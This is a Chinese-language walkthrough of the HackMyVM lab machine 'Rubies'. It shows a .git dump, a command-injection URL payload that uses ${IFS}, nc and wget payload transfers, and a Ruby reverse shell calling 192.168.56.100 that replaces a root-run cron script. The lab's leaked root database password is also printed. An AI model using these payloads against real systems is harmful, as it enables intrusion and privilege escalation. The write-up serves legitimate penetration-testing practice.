Rubies是HackMyVm的离线靶机,难度评级是中等,下载地址是https://hackmyvm.eu/machines/machine.php?vm=Rubies,网站免费注册。
VirtualBox加载并启动靶机,首先是nmap开路,扫出部分端口。
打开80端口,显示两只可爱的小猫咪。点击Next按钮,会显示poems目录下的几首诗。有一个Upload按钮,查看源代码后提示该功能不可用。
扫描后发现几个目录,浏览了其它几个目录后未发现有用的信息,这时注意力集中在了.git目录上。
用GitTools下载相关内容,命令如下。
/apps/GitTools/Dumper/gitdumper.sh http://192.168.56.21/.git/ ./gittmp /apps/GitTools/Extractor/extractor.sh ./gittmp/ ./gitex/
成功运行命令后,gitex下生成两个目录,其中一个目录中的index.php中包含关键信息。
<?php if(isset($_GET['poem'])){ $input = $_GET['poem']; if (strpos($input, ' ')){ $output = "Rce detected"; }else{ $output = shell_exec("cat poems/".$input); } } // we dont need a login page dangit minnie! follow my orders pls $servername = "localhost"; $username = "root"; $password = "jd92khn49w"; $conn = new mysqli($servername, $username, $password); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $login_username=$_POST['username']; $login_password=$_POST['password']; $sql = "SELECT * FROM users WHERE Username = '$login_username' AND Password = '$login_password' "; $result = mysqli_query($con,$sql); ...
文件中,得到一个密码,有没有用待会再试。同时,得到poem的代码,包含RCE漏洞。虽然过滤了空格,但是用简单的方法就可以bypass。测试一下,执行成功。
接下的很显示,需要得到reverse shell。试了几种方法,包括python命令、php命令、bash命令、wget本机的shell,都没有成功。最后采用靶机的nc命令,在tmp目录上传py的shell,再利用RCE的python3执行。
靶机:http://192.168.56.21/index.php?poem=poem1;nc${IFS}-nlp${IFS}1234${IFS}>/tmp/r.py 本机:nc 192.168.56.21 1234 < /home/tmpuser/Documents/r.py
上传成功后,本机监听相应端口,同时在靶机执行r.py的代码。
http://192.168.56.21/index.php?poem=poem1;python3${IFS}/tmp/r.py
成功反弹回shell。
经过一番搜索,未发现可以直接提权的地方。这时想到刚才在index.php出现的密码,是不是minnie用户的密码呢?可以试一试。但是直接执行su会出错,需要对终端进行一些设置。
python3 -c 'import pty;pty.spawn("/bin/bash"); export SHELL=bash export TERM=xterm-256color stty rows 90 columns 60
这时,再执行su minnie,果然可以用刚才的密码切换用户。但是直接进行了ruby的shell,再执行exec "/bin/bash",熟悉的界面终于回来了。
在home目录下,可以读取用户flag。这时,该寻找提权的办法了。minnie的用户目录下,有一个note.txt提示。
经过一番搜索,发现一个有趣的目录/opt/cleaning,里面有一个ruby脚本,内容是不断清除/var/www/html/uploads里的php文件。
上面这张截图是完成以后的,所以webserver_upload.rb文件的权限有点问题,不是minnie,而是root。但有趣的,cleaning目录对于minnie是可写的,这就是说我们虽然不能直接修改webserver_upload.rb的内容,但是可以替换它。这个文件有没有被运行呢?用pspy来查看一下。将pspy64上传到tmp目录并执行,果然,不一会儿就提示执行了这个脚本。
我们用一个ruby脚本来替换这个文件。脚本是网上搜的,内容如下:
#!/usr/bin/env ruby # syscall 33 = dup2 on 64-bit Linux # syscall 63 = dup2 on 32-bit Linux # test with nc -lvp 1337 require 'socket' s = Socket.new 2,1 s.connect Socket.sockaddr_in 2234, '192.168.56.100' [0,1,2].each { |fd| syscall 33, s.fileno, fd } exec '/bin/sh -i'
接着上传到靶机的tmp目录,并强制覆盖原来的webserver_upload.rb。
wget http://192.168.56.100/rshell.rb mv rshell.rb webserver_upload.rb mv -f webserver_upload.rb /opt/cleaning/
cat查看一下文件内容,果然被我们的shell覆盖了。这时本机监听相关端口,不一会儿就得到了root的shell。
最后还有一个小坑。cat root.txt怎么都显示不出内容,提示“找不到root.txt文件”。而bundle.rb文件里有个提示,照着提示的网址,也没弄出个所以然,估计是文件名里有非常规编码的字符。
其实linux文件除了文件名,还有一个inode。我们显示root.txt文件的inode,然后用find -exec命令就可以显示内容了。
至此,取得root flag,通关。